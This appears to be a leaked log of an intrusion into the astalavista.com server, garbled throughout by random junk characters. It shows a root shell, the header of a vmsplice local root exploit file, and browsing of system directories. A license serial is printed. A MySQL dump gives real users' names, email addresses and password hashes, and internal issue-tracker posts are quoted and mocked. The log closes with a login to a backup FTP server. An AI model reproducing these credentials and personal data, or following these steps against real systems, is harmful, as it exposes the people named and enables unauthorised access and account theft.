drwx–x–x 10 com com 4096 Apr 28 12:40 .
4 g( G7 o" _: I* a; y4 _drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
' y8 L+ T5 z# \9 l4 k, N+ Odrwx—— 2 com com 4096 Jun 4 04:04 backups
0 l, o: O% p7 P-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql( A' L4 |, ?& z) S0 T2 e# B
drwxr-xr-x 2 com com 4096 May 12 15:20 backup_system
. _* H7 O1 G% O ?-rw——- 1 com com 21880 Jun 2 08:07 .bash_history+ [9 ^" V! ^' P. G! H' u' |! ^" B- E. E
-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout* b9 \$ u: p3 D* ~% s$ @
-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile F& I& l$ K( W( V: O
-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc+ A7 h b4 m7 b% E
drwx–x–x 3 com com 4096 Jan 29 2008 domains
% V0 b- P$ \& g-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed( t' m' d4 j& i: }5 H* e- k
drwxrwx— 3 com mail 4096 Jan 6 19:24 imap
$ K, ]0 s+ G+ M3 s" k% O" z-rw——- 1 com com 69 Nov 18 2008 .lesshst
0 K; Y9 d+ F( g; I; L/ L/ x7 b. Idrwx—— 2 com com 4096 Sep 24 2007 mail
/ K$ J$ h" D! B8 h2 h- u- W-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history
4 K0 Y6 V w! h" Zdrwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp
Y7 p1 X. k9 ~ }lrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html* T3 ]: L3 O8 u \) }
-rw-r—– 1 com mail 34 Sep 24 2007 .shadow
6 e- I1 `) ]# d/ d; xdrwx—— 2 com com 4096 Aug 26 2008 .ssh
& u0 d% _. K8 k" \, t7 q* [-rwx—— 1 com com 8515 Feb 10 2008 t
8 ~! X$ |) {4 }. K4 ]-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c- S) J3 S+ m7 f. f3 u: ^
drwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp
$ ]3 l& f, z( x-rw-rw-r– 1 com com 617 May 20 2008 .toprc* x; w6 u: ]9 R8 i9 q G
-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql
2 J* p6 q* u6 G( V. {-rw——- 1 com com 16629 Mar 28 21:46 .viminfo
1 H K$ y. E! s, {-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc
8 W# Y, }5 P& a! ^& P9 H$ X% _. H0 [! L4 |/ Z. |8 J% Q" i
sh-3.2# head t.c; K/ L$ I+ B4 K7 P2 ~" H$ v& a
/*
+ y, X; _0 |! [' m8 s* jessica_biel_naked_in_my_bed.c1 d( _4 W H7 P a- l% Z; R
*
E' o+ I- y. s: |! U* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* y9 y- n% q: y$ E- U! V3 N* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
0 r8 ^, Y5 C! y0 r: U0 e2 [/ f* Stejnak je to stare jak cyp a aj jakesyk rozbite.
3 y. p6 P4 J( m* ?2 R# n/ L1 D% V
* Linux vmsplice Local Root Exploit! g( S. {9 ^3 y0 N7 r! z! h
* By qaaz
9 J E% ?- b. E& o, C7 }*' S2 I0 p. n( v" J, Y" U: V! Q. ^
- B& R% U, U& D1 A3 F2 Esh-3.2# cd /
& t4 c; B0 P- U3 x* E6 Qsh-3.2# ls -la4 b0 j, D9 l3 y; a+ s. D+ O( Z% K" \
total 3602 M% d& W# G) F
drwxr-xr-x 25 root root 4096 Jun 3 02:43 .
0 s: @. I7 Z; t, T4 i Z! K, `$ Hdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
, ]# Y6 v% v$ Q- h. q4 H4 m N9 `-rw——- 1 root root 10240 Jun 3 02:39 aquota.group
9 b; r) S. ^& i- n6 h$ a-rw——- 1 root root 10240 Jun 3 02:39 aquota.user
2 T. L- R+ a) {1 P7 b9 `) d, P-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db
5 M, X R9 c8 v4 l) R4 h6 d-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck6 j/ H) `7 E6 l {
-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel& ?5 D" k/ ~" g7 f1 ]
drwxr-xr-x 3 root root 4096 Dec 29 2007 backup! s- g! |" r) v8 e# s& l% @$ e
drwxr-xr-x 2 root root 4096 Jun 4 04:03 bin, ^. _* K7 D0 }: a$ Y% ?' R. I0 N
drwxr-xr-x 5 root root 4096 Jun 2 14:06 boot" t8 j O+ E+ ]7 O8 d
drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev2 Y& I7 J& H, D9 E- B4 U
drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc2 k* `8 o4 c( G" q, W5 }
drwxr-xr-x 14 root root 4096 Mar 11 17:56 home
8 m1 f5 k! X" m; t0 N-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf. d3 D( C% k7 o6 Q h. }
drwxr-xr-x 11 root root 4096 Jun 4 04:02 lib
/ P) ~7 N+ z" T, D3 Ndrwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64
. e; \9 A9 \4 V r( e2 odrwx—— 2 root root 16384 Sep 11 2007 lost+found. G+ h* A0 N8 ^
drwxr-xr-x 2 root root 4096 Mar 11 17:56 media/ g8 d: K* Q. R$ b/ J2 T
drwxr-xr-x 2 root root 0 Jun 3 02:43 misc# x! x. g( Q2 e% e
drwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt8 z) a) u7 S. v4 t1 \, g8 x
-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg
( s3 c# I' L) O3 l& Pdrwxr-xr-x 2 root root 0 Jun 3 02:43 net
* x8 J# `4 a y% G+ M& M6 J+ Qdrwxr-xr-x 3 root root 4096 Mar 11 17:56 opt) Y& q/ X, c+ {" n' X* |+ T
dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc
3 w. W: r+ e9 a+ ydrwxr-x— 15 root root 4096 Jun 4 08:40 root. _; c4 \& K- `, `; _! u) E
drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin
( S7 P, z Y( B3 N9 r$ _drwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux
' H0 J) G9 |& a! j# B1 Q# xdrwxr-xr-x 2 root root 4096 Mar 11 17:56 srv
" V9 }% F" `# W) udrwxr-xr-x 11 root root 0 Jun 3 02:42 sys
% b" }' I; o; X8 q, [# K. qdrwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp; `3 {2 R: b, {& ]" k* \6 }
drwxr-xr-x 16 root root 4096 Jun 2 13:56 usr
1 J$ ]+ j- w T3 l- v! \; F7 P4 `drwxr-xr-x 26 root root 4096 Jun 4 03:16 var
. P* \9 a1 |0 Y, m9 r: d; I0 R1 y4 Q% s( p2 r' r0 m' Q# G0 F
sh-3.2# cd opt; T2 [$ D C# M% a5 o& |5 y5 r
sh-3.2# ls -la
. P- P% H% M, O3 k o' |total 20
+ Z, w0 Z: z. a+ Y6 e" a$ Kdrwxr-xr-x 3 root root 4096 Mar 11 17:56 .; h1 D. N) L/ C- H# x, b
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..) \5 T g% j, _( I$ L5 b/ ^/ N
drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws* M7 n; ]1 A! r( s1 a( B/ |/ f+ U e
: k4 I5 ~$ s& [/ V
sh-3.2# cd lsws/
# P) F8 F" K/ `- |: B" Fsh-3.2# ls -la
+ o7 n$ j4 r. Ntotal 108
2 F* c: G$ F- A) T0 h8 `4 Ndrwxr-xr-x 15 root root 4096 Mar 20 2008 .2 k% q* ~4 \, p
drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..
% o5 Q" a$ H/ g0 N4 ^: t% o: sdrwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons
5 e, x9 A, A- v% j9 ?drwxr-xr-x 13 root root 4096 May 29 15:10 admin
4 h# U% K2 |3 ]/ R# _( l' m, L F( Zdrwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate
, R/ C# E1 `) Jdrwxr-xr-x 2 root root 4096 May 29 15:10 bin/ Y. [( `- @5 P) @* M+ K
drwx—— 4 apache apache 4096 Jun 3 02:43 conf
* [9 [) U) j) }drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT j1 A0 C" b7 s0 K
drwxr-xr-x 2 root root 4096 Sep 15 2008 docs
- t: F4 h! L6 Q6 P, A1 Idrwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin
5 m n. }0 |/ t, Ldrwxr-xr-x 2 root root 4096 Sep 15 2008 lib
+ b3 ^, B. x) i; y8 E3 j-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE
" t/ d* U' y8 K# u-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP
) T; S* f/ X, l. \-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL
* v3 L; v2 K1 c-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP
1 f5 C; H2 Q' Adrwxr-xr-x 2 root root 20480 Jun 4 09:55 logs
) b6 f9 [) `3 b; R V# U* C! mdrwxr-xr-x 2 root root 4096 Mar 20 2008 php
+ a0 M( ?% q4 Z' V% hdrwx—— 2 apache apache 4096 Mar 20 2008 phpbuild7 H6 G/ w+ [. \: d0 J
drwxr-xr-x 3 root root 4096 Mar 20 2008 share& n0 {" U* v7 H' a b' d& R% I- s
-rw-r–r– 1 root root 6 May 29 15:10 VERSION
^, N# k9 u+ j
5 s/ F0 `* N" d1 f: @6 Zsh-3.2# cd conf+ P7 {8 i& |$ B0 ?* m8 v" @
sh-3.2# ls -la* V# _- c/ i7 {1 s8 J- V- p+ r
total 48' k2 _# h. V! P. P1 W
drwx—— 4 apache apache 4096 Jun 3 02:43 .
3 S0 o0 L6 |. e0 tdrwxr-xr-x 15 root root 4096 Mar 20 2008 ..
8 w' Y. V, L ^, j' qdrwx—— 2 apache apache 4096 Mar 20 2008 cert
0 l Q: ^+ j" i6 Y9 n8 ~3 ?-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml5 x U+ O5 w# k6 i4 M2 x! ^
-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak# c z* Q: J) _/ z, M# a
-rw-r–r– 1 root apache 0 Jun 3 14:11 .last
1 u( f+ \9 Q( v$ e Y-rw——- 1 apache apache 256 May 29 15:10 license.key9 W! `, ^+ [1 I0 i- e4 h( G
-rw——- 1 apache apache 256 Mar 21 2008 license.key.old) T; E) |$ |; r( ]: m/ y
-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties
9 l, C2 V: A: _2 T4 L% e-rw——- 1 apache apache 20 May 29 15:10 serial.no* |7 p! _+ Q3 R/ f- n$ h
drwx—— 2 apache apache 4096 Mar 20 2008 templates
# f- }) e) V0 D/ e( {4 J; K# B2 u
0 M0 r' ]# L# h2 d' Lsh-3.2# cat serial.no+ D3 t6 l4 H& W! m
IbDl-oVsO-CKqL-wVRa
: }. c, ?5 E% B( ?& c. d
; P* O5 i" H) g% Wsh-3.2# mysql
! K# j, `3 }' [* sWelcome to the MySQL monitor. Commands end with ; or \g.4 T1 D8 T2 q; L+ S; D
Your MySQL connection id is 286844- h% q% N4 T2 f0 e1 {5 j
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
- |& T: P( |" w9 k
7 D2 [, f3 o+ _. H+ S7 m$ u1 \Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.* N- @5 c& N1 R( s
' \; U: G7 F0 J; \
mysql> show databases;+ H- K+ n: c$ T- g
+———————–+
1 s2 i% D5 N* n) b/ s3 f7 @8 x( G7 t A7 p| Database |
1 c+ j7 F2 O4 O- K- m+———————–++ t' t8 s# t+ o( }5 y# c7 R9 e
| information_schema |7 a6 Z5 c: [& Y- H2 F. s4 B
| astanet_ads |
7 n: \9 x; k5 q* o/ E- } V3 M: [| astanet_mailing_lists |
8 q& L$ t& \* W u9 @| astanet_mediawiki |: l' w% g' o9 r: w3 j: w2 u
| astanet_membersystem |# k5 m+ ^4 k- X$ v0 b
| com_contrexx |
2 x# P. a# @6 a- [% u6 q- i" Q| com_contrexx2 |5 U% C# l! V3 r4 k5 H! |
| com_contrexx2_live |4 w( q8 d) Y( G7 o8 }$ z
| da_roundcube |! M5 l8 q5 d8 g) t, |
| dolphin |7 ~5 ^6 g9 a- v$ U
| ideapool |
/ V. w6 }' L0 ^" Z| mysql |1 X+ Z6 q. }( c, N. E
| test |3 o# _$ x4 P- d+ X( k, W
| yourmaster |
( {; \/ h3 B9 {# }" r2 G+———————–+
- `7 R& f% ?; v8 f( J14 rows in set (0.00 sec)' a* v6 m( I" w5 v9 f
2 l3 N+ r( M3 A, L; e% c/ Jmysql> use ideapool
- A, ?# ?2 o1 P( p6 gDatabase changed
" V& ]/ q+ J9 R, \3 x( z( tmysql> show tables;
8 |6 | ]. p+ F! j5 l( K# e+———————————–+. N5 `# ?& I: e' e* S' r, j U
| Tables_in_ideapool |& S4 i: @1 e5 H5 \- q
+———————————–+! u: T$ i c4 S3 u7 I- \/ P
| eventum_columns_to_display |0 }9 j" W0 s6 N' ^! p
| eventum_custom_field |/ k( \* D5 o& K. ]
| eventum_custom_field_option |
. ^; G4 P$ g' W0 e| eventum_custom_filter |
, `( X" Q8 z8 m| eventum_customer_account_manager |
) z9 T# ~. R5 U| eventum_customer_note |* @6 ~+ [( V4 ?$ A+ y
| eventum_email_account |% i; u4 C4 c& m* R, s8 c
| eventum_email_draft |" m- l7 C0 l! _$ n Q* ~) W, a
| eventum_email_draft_recipient |
5 B% |" i" _. l) q$ x| eventum_email_response |
$ ` \7 a: d- p7 t/ u$ y1 {4 H| eventum_faq |0 Q( p- b; P% y+ ^3 F. @! ]2 Z
| eventum_faq_support_level |6 _" r" j) g: H; H& Q0 K
| eventum_group |
1 n" [8 ]& [8 [6 z8 L, [% X| eventum_history_type |
3 s+ O5 K# |8 d3 L8 W2 i/ b1 b| eventum_irc_notice |
* E8 O/ v) u# |( F| eventum_issue |5 q1 @) n7 U* ^ J
| eventum_issue_association |: n2 N" Z! U; r
| eventum_issue_attachment |
, A1 {/ j. Q A v. N| eventum_issue_attachment_file |
' T3 W7 g, h2 P- W7 {4 || eventum_issue_checkin |( ~# T" b/ d/ K2 e3 L7 W2 k' x
| eventum_issue_custom_field |8 m+ i1 t2 L5 X! ~3 N
| eventum_issue_history |
; U5 v3 e* N- j0 n2 A6 L' H3 f; B1 Z) ]| eventum_issue_quarantine |3 M+ F. n. x2 {( o" _
| eventum_issue_requirement |2 o5 I: K# _5 v+ _6 Q& |
| eventum_issue_user |2 X0 a' a$ l7 X+ O/ S
| eventum_issue_user_replier |
. L9 m. E: D. J| eventum_link_filter |
8 ^( G3 W. _9 U4 V8 d4 e| eventum_mail_queue |
+ r, ^1 e& l# I* p4 ? E3 C8 G- R' a| eventum_mail_queue_log |5 f0 D1 C. n. s/ I' P
| eventum_news |
. {1 N+ o7 s2 `( s| eventum_note |
+ v4 t* ^0 a& p1 B$ h3 ~8 O0 O# p0 }| eventum_phone_support |
/ g* e( Z8 i- u% Q$ m; Z| eventum_project |
, T. w, G" V& z8 I8 y. || eventum_project_category |
! v5 l0 f9 I+ T| eventum_project_custom_field |7 I# M: p/ F& \/ i+ e6 _& M
| eventum_project_email_response |
% E8 N8 `# c+ r2 g* O' \& `| eventum_project_field_display |
! V' a9 } {/ O9 s9 A/ R" F| eventum_project_group |
( e9 [" q6 t7 t7 X! ]; n9 G| eventum_project_link_filter |
8 E" J: h5 V) M& f| eventum_project_news |
2 O+ H" n* }7 r| eventum_project_phone_category |
. v6 v2 Y9 ?: ^9 j4 v7 i+ [| eventum_project_priority |
- `' y5 I) j. M| eventum_project_release |
1 e2 V! x9 J9 z+ o; _| eventum_project_round_robin |
" J1 o6 F& V& X, j# `| eventum_project_status |% V7 t0 P' `9 w3 Z" ^
| eventum_project_status_date |
6 K" J# H4 n% Y$ H3 r' h z| eventum_project_user |/ z! g% h- u, a# D1 W
| eventum_reminder_action |: L, n0 v% x( ^! y& U: G
| eventum_reminder_action_list |0 r, ?1 e. t. e3 S8 e
| eventum_reminder_action_type |, q* `4 d4 A* g! z4 v6 J
| eventum_reminder_field |& [9 s" W+ Z0 V9 v" G! ?
| eventum_reminder_history |9 d \1 v o; @+ O+ u4 E2 l
| eventum_reminder_level |
+ X; ?5 F, l' w- M- ?* n4 d| eventum_reminder_level_condition |
' W& D$ G6 v/ O' y2 M/ Y) U, W| eventum_reminder_operator |6 x4 p8 P) a1 e( i _7 s
| eventum_reminder_priority |
0 Z2 C+ m& S% g9 {| eventum_reminder_requirement |
; q7 z6 m! l1 [6 K| eventum_reminder_triggered_action |
) o `9 E# ?! d- U% M8 i| eventum_resolution |' Z' T. l& n( q2 @
| eventum_round_robin_user |
# \5 Y4 s' L0 O' b6 n| eventum_search_profile |& t% ?3 V5 s" ^- J! ^
| eventum_status |/ y$ N% E4 e* i" r2 q9 ~ Z
| eventum_subscription |
8 D9 |: y8 U+ d6 W# f! [| eventum_subscription_type |5 z6 A! u, n5 H" [6 V, p
| eventum_support_email |% o6 M6 G' i# R+ i7 h$ \7 ~$ I) z
| eventum_support_email_body |8 M* F+ ^* e- U5 d5 `
| eventum_time_tracking |2 p: F2 b' T, L2 J% h. i3 I4 K
| eventum_time_tracking_category |8 }6 w/ q& U" y2 c
| eventum_user |
2 a& [/ e3 X6 s. a+ b5 G+———————————–+ ~$ W- T$ ]! v: H; ?9 G
69 rows in set (0.00 sec)
! v6 O: _1 Y- a9 [% C0 T, I; r# L
; x; Y5 e6 n: Omysql> describe eventum_user;0 n1 V% m( S& D) }, e7 P
+————————-+——————+——+—–+———————+—————-+2 ~( ]: ]' ^* h8 i. n- O, o: a2 v! e
| Field | Type | Null | Key | Default | Extra |
1 w8 T3 m& b8 Y8 h5 j( q5 @+————————-+——————+——+—–+———————+—————-++ [; M( r9 {1 F' _
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |
) d) G0 U* C6 F) e. ~8 u| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |2 ]/ U; g* j5 W/ r* T0 \9 h
| usr_customer_id | int(11) unsigned | YES | | NULL | |+ A M& q. J" U1 |+ ]" I4 S
| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |) M V$ j, |) V8 X( g
| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |
, u' D; }$ s3 N% L; ]| usr_status | varchar(8) | NO | | active | |
" ]! D0 {2 N7 i }. `9 `) A5 e| usr_password | varchar(32) | NO | | | |
; I) P1 _; q# m| usr_full_name | varchar(255) | NO | | | |# ~$ T% B( n0 J7 A' o
| usr_email | varchar(255) | NO | UNI | | |5 t3 |; M5 P( K, H# j
| usr_preferences | longtext | YES | | NULL | |$ `9 K2 F/ B+ t/ Z' t
| usr_sms_email | varchar(255) | YES | | NULL | |/ i5 R* V; d# w& m1 g
| usr_clocked_in | tinyint(1) | YES | | 0 | |% r4 S b% h6 Q. t4 J. Q3 o
| usr_lang | varchar(5) | YES | | NULL | |/ |( `" f: x5 \8 ]9 v
+————————-+——————+——+—–+———————+—————-++ K: D0 i/ {* D" _7 {
13 rows in set (0.00 sec). I) a* [5 A u5 S* S8 q5 s& y1 ^
. C1 R$ _: e2 ?: D
mysql> select usr_full_name,usr_email,usr_password from eventum_user;
2 x8 i2 {) y. t$ }9 ^: V$ D+———————-+——————————-+———————————-+
& t, p# u7 n7 B9 @) S: [9 a1 v| usr_full_name | usr_email | usr_password |/ J1 T7 v# {% u, B F0 \& `
+———————-+——————————-+———————————-++ R: H% S2 I, R: i3 C# V9 U, e4 ^
| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 |# s: {! b2 m5 o0 s; A
| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |' ^, v+ W' ?) N. w
| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |
6 X, k3 c) D4 g7 N A3 D| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |' m1 H( M) t8 F% _$ @1 F' H+ J
| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |
& T9 z) X3 \" a) r! f; t8 F0 O# k| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |8 v9 }! e9 C# V2 X1 ?9 k
| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |8 M: t$ R" P) h h# w
| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |! Y' j$ A/ v- \4 e
| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |
3 Z, t3 b' @/ c| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |* M& v6 l( s: q( a; C# ^% u
| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |$ m6 D3 M8 ~) ]4 D
| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |
5 a t1 k3 p8 a3 K, f& m) U) z| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |
9 ^: _, V3 {8 }( X| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |( ~. r3 z1 s9 ?- F( f+ C; g
| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |
. Y) Z; j4 P9 A" b; K" h+———————-+——————————-+———————————-+
2 q# E: F0 ~. P; `: |/ V9 L15 rows in set (0.00 sec)8 F: x4 ?$ W: H9 p: w
% Z) e: k- \2 Q1 J% c9 C
mysql> select iss_description from eventum_issue where iss_id = 43;2 m/ i: Y6 u# M R5 _
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+ y* I' }% L6 C G, j
| iss_description
2 F% y" ~9 G' G|
' \' O% C+ d# [2 p6 z* q- `+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+ f, ~, u- i3 K1 [4 v9 W
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be
/ a" y+ W* J% h2 T% Iconnected for 90 mins… 120mins… so what i propose is something like:- i- J k8 t7 P/ L+ ~- e
链接标记[url]http://www.surfthechannel.com/[/url], O7 ]6 j t3 {5 j6 r
since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system4 T% V$ s+ j4 g# B9 `2 ~! n0 ~3 b$ e
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t4 X+ X9 k: F4 c: n& }
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
( }* f! ^5 _7 c% ~4 e) Tif they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…
! M# {4 a; t4 D) z- ]) P1 v0 C* @7 a. h) a* z. m: T
We could also put advertisement during play on the flash video player itself… extra $$…0 Y3 J; `: [% D
: Q2 v/ n- \7 o, i6 c
By sykadul |) ]& ^* E; Q! ?! z
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+& {- k: |3 S1 o- e
1 row in set (0.00 sec)5 Y) n7 l4 j6 x& q8 l
/ `5 I% b- m: A// Money and extra $$ is all they care about. remember that.
5 @) I- j4 s s, E$ Y9 E2 z8 u! a' A# f4 s( F8 c' C* p
mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
' V/ g% d) Q1 } T( N% O) ]1 m9 R+————————+——————————————————————————————————————————————————————————————————————————————-+
( I" m. Y4 [- W$ x, y$ n4 P| iss_summary | iss_description ! {' J; q8 r4 P c0 v
|. R$ L& I* K# G6 A1 Y6 U
+————————+——————————————————————————————————————————————————————————————————————————————-+3 }) o) } T6 K3 v* g) D) B: l
| Forum for REAL EXPERTS | Hello,
8 p! y: W8 V- v) x( g& f5 ]# n) |
/ a% O) }, n) A# ~# `Ishtus and I, {5 P. @5 U0 u( m
0 I0 w' Z! j$ r3 F3 g4 MCame up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide% Z4 b \8 }, x- s% H$ t5 j, l
ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
; P3 B9 |# q9 ^$ r; }6 @: U$ R' _+ S0 [( p3 n8 }% G, z
One example a friend of mine from coresecurity.com!* M) w' d3 E& O. c. ^& c t% v/ `
3 e& g6 z* n, L6 f5 DWe could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..
, }) A: f2 m( z: {3 b4 g0 I
6 r( g8 ` d. Y7 C3 ]|5 ?1 N( g# u& Y* |; G/ T
+————————+——————————————————————————————————————————————————————————————————————————————+- U9 M( w, N# L5 q; {2 v
1 row in set (0.00 sec)
3 f$ {" M O6 A/ s l. t( `# ] H: M/ }
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…/ r9 t& v: l5 H5 _! v* m
$ g3 W7 z' m5 r1 |$ c! u6 B( fmysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;
- q6 c! Z) z. d0 c, i1 M$ v" g% K O+——————+———————————————————————————————+7 n& ?: [$ f* ]8 L V
| iss_summary | iss_description |
, _- r4 O7 P1 b* e9 N9 X6 y+——————+———————————————————————————————+
h4 @4 ]& O! L| Website guidance | Virtual Girl which guides you trought the website., d% Q8 N- O2 \, R8 f
: D7 w, b. E6 @5 _- C7 L$ rWe need a girl with who you can ( talk )!!!/ y# r; C r7 E9 j+ j
Also for the News!
" J( M" U" B! ~6 ?5 iSo my suggestion is a girl who read you the news loud if you like!
$ @ @( E/ K# [: @; S/ Y# Oyou can choose between read yourselfe or she read it for you or both!/ k! D" P( f. }6 r7 m
3 ^, w: R; I2 M; s/ F; y4 @
Go to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!
, F. K0 \- l* A7 W! B1 [7 U
e Y3 w6 d" Z; {Have a look on the example girls!!3 N. X+ O' a& `& m
& v: I& b. ^5 X" i
链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
4 H: j5 q) G- C% `5 K9 W* |: `; ^, X/ \/ d0 r' [5 _4 V. x
or that
4 k0 D6 s# |9 q; q# |, s2 E" N' T$ w: S) P2 s! e" p
链接标记[url]http://www.yellostrom.de/[/url]. V* L0 n9 C# F
# a! _' |/ u* t9 Y1 |# u) ]
|% O! t; B* r7 M( V4 K( ^: Q" p1 d2 V
+——————+———————————————————————————————+4 u- d8 c9 l* W+ \% E: ?
1 row in set (0.00 sec)9 ? [2 K2 j1 K# n
, A3 T( l' {+ l1 T. L+ q
// ha ha.
5 @5 K2 y5 k7 S! S* I* ], g, W' K+ A7 F7 O
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;8 {& r$ L/ x' {$ ]- s+ m# ^
+————————–+———————————————————————————————————–+& O5 t; v# T" N3 W7 B( O
| iss_summary | iss_description |. z$ H9 l5 r0 J9 ~$ \
+————————–+———————————————————————————————————–+
$ J0 x" {8 V% t% U$ B& q| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |7 }7 w e# W' f3 M( B
+————————–+———————————————————————————————————–+( ]; G5 l4 B/ q9 G4 L3 K
1 row in set (0.00 sec)5 n* |2 V- | a; l: c
5 j3 Z" O! k8 A3 ?: k! B
// LOL.
1 @8 h8 X' j: x. P4 d( V T2 A d7 @/ ~& h8 J9 ^# Q& B; G" K% Z
mysql> exit( a7 D, G$ A' k; T. v
Bye$ t% K2 q, M0 R/ V! a# a% F
- _1 }4 c. V% i+ g3 o7 _
sh-3.2# ftp 212.254.194.1632 y0 e; A5 G4 w W
Connected to 212.254.194.163.+ g/ s$ `2 h# f# D; L8 y( o
220 BackupCOM_VW FTP server ready.
) D& ^+ L/ P% _ q504 AUTH: security mechanism ‘GSSAPI’ not supported.9 o. y, m3 w4 A0 B8 I7 Q
504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.
5 f# U, C% [- }KERBEROS_V4 rejected as an authentication type
9 D9 _& n* j$ r: V0 a9 v0 sName (212.254.194.163:root): astalavista.com2 z- J5 {* n# v; v+ j
331 Password required for astalavista.com.
' Y L3 M' Y- l- [7 RPassword:1 v! [8 F X: c6 y5 d# V
230 User astalavista.com logged in.$ t1 n) |2 R5 U7 V2 S0 x1 a
Remote system type is UNIX.: a! y9 y9 ?2 m# T
Using binary mode to transfer files.( S+ r: \* E- i; B; z2 U0 r
ftp> ls -la3 S) P4 `, s3 @2 [8 t; |' o5 E
227 Entering Passive Mode (212,254,194,163,2,188)
- t; R' M! Z; F; B: z- v150 Opening BINARY mode data connection for ‘file list’.# o* }5 v% m9 t$ Y
dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com# x8 D( z# ^8 B6 |6 X/ m3 f
226 Transfer complete.
" m$ a$ |- a8 [ ?ftp> cd astalavista.com
" Z' O5 Z8 `: X) A: M3 p250 CWD command successful.
' i7 v5 [* F) [* ` ^ftp> ls -la
" f. m; g, e% S227 Entering Passive Mode (212,254,194,163,2,189)
* J0 T9 z' O/ E O2 }+ M* f150 Opening BINARY mode data connection for ‘file list’.
